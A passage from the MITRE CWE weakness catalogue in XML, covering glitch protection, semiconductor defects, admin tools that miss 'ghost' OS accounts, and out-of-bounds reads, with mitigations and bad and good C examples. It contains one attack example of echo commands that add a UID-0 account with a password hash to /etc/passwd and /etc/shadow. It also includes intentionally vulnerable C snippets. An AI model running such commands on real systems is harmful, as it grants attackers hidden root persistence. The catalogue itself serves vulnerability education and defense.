		  <Method>Architecture or Design Review</Method>
		  <Description>
		    Review if the protections against glitching merely transfer the attack target. For example, suppose a critical authentication routine that an attacker would want to bypass is given the protection of modifying certain artifacts from within that specific routine (so that if the routine is bypassed, one can examine the artifacts and figure out that an attack must have happened). However, if the attacker has the ability to bypass the critical authentication routine, they might also have the ability to bypass the other protection routine that checks the artifacts. Basically, depending on these kind of protections is akin to resorting to "Security by Obscurity".
		  </Description>
		</Detection_Method>
		<Detection_Method>
		  <Method>Architecture or Design Review</Method>
		  <Description>
		    Many SoCs come equipped with a built-in Dynamic Voltage and Frequency Scaling (DVFS) that can control the voltage and clocks via software alone. However, there have been demonstrated attacks (like Plundervolt and CLKSCREW) that target this DVFS [REF-1081] [REF-1082]. During the design and implementation phases, one needs to check if the interface to this power management feature is available from unprivileged SW (CWE-1256), which would make the attack very easy.
		  </Description>
		</Detection_Method>
	  </Detection_Methods>
      <Potential_Mitigations>
        <Mitigation>
          <Phase>Architecture and Design</Phase>
          <Phase>Implementation</Phase>
          <Description>
            <xhtml:p>At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitch attacks. Working at the SoC or platform base, level sensors may be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed)also can help with mitigation of glitch attacks.</xhtml:p>
          </Description>
        </Mitigation>
      </Potential_Mitigations>
      <Demonstrative_Examples>
        <Demonstrative_Example>
          <Intro_Text>Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against a golden value. If the signatures match, the bootloader loads runtime firmware. If there is no match, an error halt occurs. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage or clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), causing a bypass of the signature-checking process.</Intro_Text>
          <Example_Code Nature="Bad" Language="C">
            ...<xhtml:br/>
            if (signature_matches)  // &lt;-Glitch Here<xhtml:br/>
            {<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
              load_runtime_firmware();<xhtml:br/>
			</xhtml:div>
            }<xhtml:br/>
            else<xhtml:br/>
            {<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
              do_not_load_runtime_firmware();<xhtml:br/>
			</xhtml:div>
            }<xhtml:br/>
            <xhtml:br/>	
            ...<xhtml:br/>
          </Example_Code>
          <Body_Text>After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.</Body_Text>
        	<Example_Code Nature="Good">
         		<xhtml:div>If the underlying hardware detects a voltage or clock glitch, the information can be used to prevent the glitch from being successful.</xhtml:div>
        		</Example_Code>
      	</Demonstrative_Example>
      </Demonstrative_Examples>
      <Observed_Examples>
      	<Observed_Example>
        		<Reference>CVE-2019-17391</Reference>
        		<Description>Lack of anti-glitch protections allows an attacker to launch a physical attack to bypass the secure boot and read protected eFuses.</Description>
        		<Link>https://www.cve.org/CVERecord?id=CVE-2019-17391</Link>
      		 </Observed_Example>
      	</Observed_Examples>
        <Functional_Areas>
            <Functional_Area>Power</Functional_Area>
            <Functional_Area>Clock</Functional_Area>
        </Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
        <Reference External_Reference_ID="REF-1061"/>
        <Reference External_Reference_ID="REF-1062"/>
        <Reference External_Reference_ID="REF-1063"/>
        <Reference External_Reference_ID="REF-1064"/>
        <Reference External_Reference_ID="REF-1065"/>
        <Reference External_Reference_ID="REF-1066"/>
		<Reference External_Reference_ID="REF-1217" Section="14.6.2 Security Evolution, page 291"/>
		<Reference External_Reference_ID="REF-1217" Section="15.5.3 Glitching, page 317"/>
		<Reference External_Reference_ID="REF-1081"/>
		<Reference External_Reference_ID="REF-1082"/>
		<Reference External_Reference_ID="REF-1285"/>
		<Reference External_Reference_ID="REF-1286" Section="1.2 / 4"/>
      </References>
      <Content_History>
        <Submission>
          <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
          <Submission_Organization>Intel Corporation</Submission_Organization>
          <Submission_Date>2020-02-12</Submission_Date>
        </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Functional_Areas</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, Name, References, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Parbati K. Manna</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-18</Contribution_Date>
				  <Contribution_Comment>provided detection methods</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2020-08-20">Missing Protection Against Voltage and Clock Glitches</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-10-28">Missing or Improperly Implemented Protection Against Voltage and Clock Glitches</Previous_Entry_Name>
      </Content_History>
    </Weakness>
      <Weakness ID="1248" Name="Semiconductor Defects in Hardware Logic with Security-Sensitive Implications" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The security-sensitive hardware module contains semiconductor defects.</Description>
            <Extended_Description>
                <xhtml:p>A semiconductor device can fail for various reasons. While some are manufacturing and packaging defects, the rest are due to prolonged use or usage under extreme conditions. Some mechanisms that lead to semiconductor defects include encapsulation failure, die-attach failure, wire-bond failure, bulk-silicon defects, oxide-layer faults, aluminum-metal faults (including electromigration, corrosion of aluminum, etc.), and thermal/electrical stress. These defects manifest as faults on chip-internal signals or registers, have the effect of inputs, outputs, or intermediate signals being always 0 or always 1, and do not switch as expected. If such faults occur in security-sensitive hardware modules, the security objectives of the hardware module may be compromised.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Manufacturing</Phase>
                    <Note>May be introduced due to issues in the manufacturing environment or improper handling of components, for example.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Operation</Phase>
                    <Note>May be introduced by improper handling or usage outside of rated operating environments (temperature, humidity, etc.)</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>DoS: Instability</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Testing</Phase>
                    <Description>
                        <xhtml:p>While semiconductor-manufacturing companies implement several mechanisms to continuously improve the semiconductor manufacturing process to ensure reduction of defects, some defects can only be fixed after manufacturing. Post-manufacturing testing of silicon die is critical. Fault models such as stuck-at-0 or stuck-at-1 must be used to develop post-manufacturing test cases and achieve good coverage. Once the silicon packaging is done, extensive post-silicon testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.</xhtml:p>
                    </Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Operation</Phase>
                    <Description>
                        <xhtml:p>Operating the hardware outside device specification, such as at extremely high temperatures, voltage, etc., accelerates semiconductor degradation and results in defects.  When these defects manifest as faults in security-critical, hardware modules, it results in compromise of security guarantees. Thus, operating the device within the specification is important.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>The network-on-chip implements a firewall for access control to peripherals from all IP cores capable of mastering transactions.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:div>A manufacturing defect in this logic manifests itself as a logical fault, which always sets the output of the filter to "allow" access.</xhtml:div>
                    </Example_Code>
                    <Body_Text>Post-manufacture testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.</Body_Text>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1067"/>
                <Reference External_Reference_ID="REF-1068"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Description, References, Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1249" Name="Application-Level Admin Tool with Inconsistent View of Underlying Operating System" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.</Description>
            <Extended_Description>
                <xhtml:p>Many products provide web-based applications or other interfaces for managing the underlying operating system. This is common with cloud, network access devices, home networking, and other systems.  When the management tool does not accurately represent what is in the OS - such as user accounts - then the administrator might not see suspicious activities that would be noticed otherwise.</xhtml:p>
				<xhtml:p>For example, numerous systems utilize a web
				front-end for administrative control. They also offer
				the ability to add, alter, and drop users with various
				privileges as it relates to the functionality of the
				system.  A potential architectural weakness may exist
				where the user information reflected in the web
				interface does not mirror the users in the underlying
				operating system.  Many web UI or REST APIs use the
				underlying operating system for authentication; the
				system's logic may also track an additional set of
				user capabilities within configuration files
				and datasets for authorization capabilities. When
				there is a discrepancy between the user information in
				the UI or REST API's interface system and the
				underlying operating system's user listing, this may
				introduce a weakness into the system.  For example, if an
				attacker compromises the OS and adds a new user
				account - a "ghost" account - then the attacker could escape detection if
				the management tool does not list the newly-added
				account.</xhtml:p>
				<xhtml:p>This discrepancy could be exploited in several ways:</xhtml:p>
                    <xhtml:ul>
					  <xhtml:li>A rogue admin could insert a new account into a system that will
persist if they are terminated or wish to take action on a system that
cannot be directly associated with them.</xhtml:li>
					  <xhtml:li>An attacker can leverage a separate command injection attack available through the web interface to insert a ghost account with shell privileges such as ssh.</xhtml:li>
					  <xhtml:li>An attacker can leverage existing web interface APIs, manipulated in such a way that a new user is inserted into the operating system, and the user web account is either partially created or not at all.</xhtml:li>
					  <xhtml:li>An attacker could create an admin
					  account which is viewable by an administrator,
					  use this account to create the ghost account,
					  delete logs and delete the first created admin
					  account.</xhtml:li>
                    </xhtml:ul>
				<xhtml:p>Many of these attacker scenarios can be
				realized by leveraging separate vulnerabilities
				related to XSS, command injection, authentication
				bypass, or logic flaws on the various systems.
				</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="1250" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Technology Class="Web Based" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Alternate_Terms>
              <Alternate_Term>
				<Term>Ghost in the Shell</Term>
              </Alternate_Term>
			</Alternate_Terms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
					<Note>The design might assume that the underlying OS does not change.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
					<Note>Assumptions about the underlying OS might be hard-coded into the application or otherwise in external data stores in a way that is not updated when the OS's state changes.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Access Control</Scope>
                    <Impact>Varies by Context</Impact>
                </Consequence>
                <Consequence>
                    <Scope>Accountability</Scope>
                    <Impact>Hide Activities</Impact>
                </Consequence>
                <Consequence>
                    <Scope>Other</Scope>
                    <Impact>Unexpected State</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>
                        <xhtml:p>Ensure that the admin tool refreshes its model of the underlying OS on a regular basis, and note any inconsistencies with configuration files or other data sources that are expected to have the same data.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Suppose that an attacker successfully gains root privileges on a Linux system and adds a new 'user2' account:</Intro_Text>
                    <Example_Code Nature="Attack" Language="Other">
					  <xhtml:div>echo "user2:x:0:0::/root:/" &gt;&gt; /etc/passwd;</xhtml:div>
					  <xhtml:div>echo
					  "user2:\$6\$IdvyrM6VJnG8Su5U\$1gmW3Nm.IO4vxTQDQ1C8urm72JCadOHZQwqiH/nRtL8dPY80xS4Ovsv5bPCMWnXKKWwmsocSWXupUf17LB3oS.:17256:0:99999:7:::" &gt;&gt; /etc/shadow;</xhtml:div>
                    </Example_Code>
                    <Body_Text>This new user2 account would not be noticed on the web interface, if the interface does not refresh its data of available users.</Body_Text>

					<Body_Text>It could be argued that for this specific example, an attacker with root privileges would be likely to compromise the admin tool or otherwise feed it with false data.  However, this example shows how the discrepancy in critical data can help attackers to escape detection.</Body_Text>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
			<References>
              <Reference External_Reference_ID="REF-1070"/>
			</References>
            <Content_History>
                <Submission>
                    <Submission_Name>Tony Martin</Submission_Name>
                    <Submission_Date>2019-06-06</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="125" Name="Out-of-bounds Read" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product reads data past the end, or before the beginning, of the intended buffer.</Description>
         <Extended_Description>Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash.  A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string.  The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow.  The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer.  A subsequent read operation then produces undefined or unexpected results.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
	       <Note>By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>Use a language that provides appropriate memory abstractions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-100">
               <Intro_Text>In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int getValueFromArray(int *array, int len, int index) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int value;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// check that the array index is less than the maximum</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// length of the array</xhtml:i>
                           <xhtml:br/>if (index &lt; len) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// get the value at the specified index of the array</xhtml:i>
                                 <xhtml:br/>value = array[index];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>// if array index is invalid then output error message</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// and return value indicating error</xhtml:i>
                           <xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Value is: %d\n", array[index]);<xhtml:br/>value = -1;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return value;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// check that the array index is within the correct</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// range of values for the array</xhtml:i>
                     <xhtml:br/>if (index &gt;= 0 &amp;&amp; index &lt; len) {<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-11899</Reference>
               <Description>Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-11899</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-0160</Reference>
               <Description>Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-0160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2018-10887</Reference>
               <Description>Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-10887</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2523</Reference>
               <Description>Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2523</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2018-16069</Reference>
	      <Description>Chain: series of floating-point precision errors
	      (CWE-1339) in a web browser rendering engine causes out-of-bounds read
	      (CWE-125), giving access to cross-origin data</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2018-16069</Link>
	    </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0112</Reference>
               <Description>out-of-bounds read due to improper length check</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0112</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0183</Reference>
               <Description>packet with large number of specified elements cause out-of-bounds read.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0183</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0221</Reference>
               <Description>packet with large number of specified elements cause out-of-bounds read.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0221</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0184</Reference>
               <Description>out-of-bounds read, resultant from integer underflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0184</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1940</Reference>
               <Description>large length value causes out-of-bounds read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1940</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0421</Reference>
               <Description>malformed image causes out-of-bounds read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0421</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4113</Reference>
               <Description>OS kernel trusts userland-supplied length value, allowing reading of sensitive information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4113</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Out-of-bounds Read</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR30-C</Entry_ID>
               <Entry_Name>Do not form or use out-of-bounds pointers or array subscripts</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR38-C</Entry_ID>
               <Entry_Name>Guarantee that library functions do not form invalid pointers</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP39-C</Entry_ID>
               <Entry_Name>Do not access a variable through a pointer of an incompatible type</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR32-C</Entry_ID>
               <Entry_Name>Do not pass a non-null-terminated character sequence to a library function that expects a string</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="540"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1034"/>
            <Reference External_Reference_ID="REF-1035"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
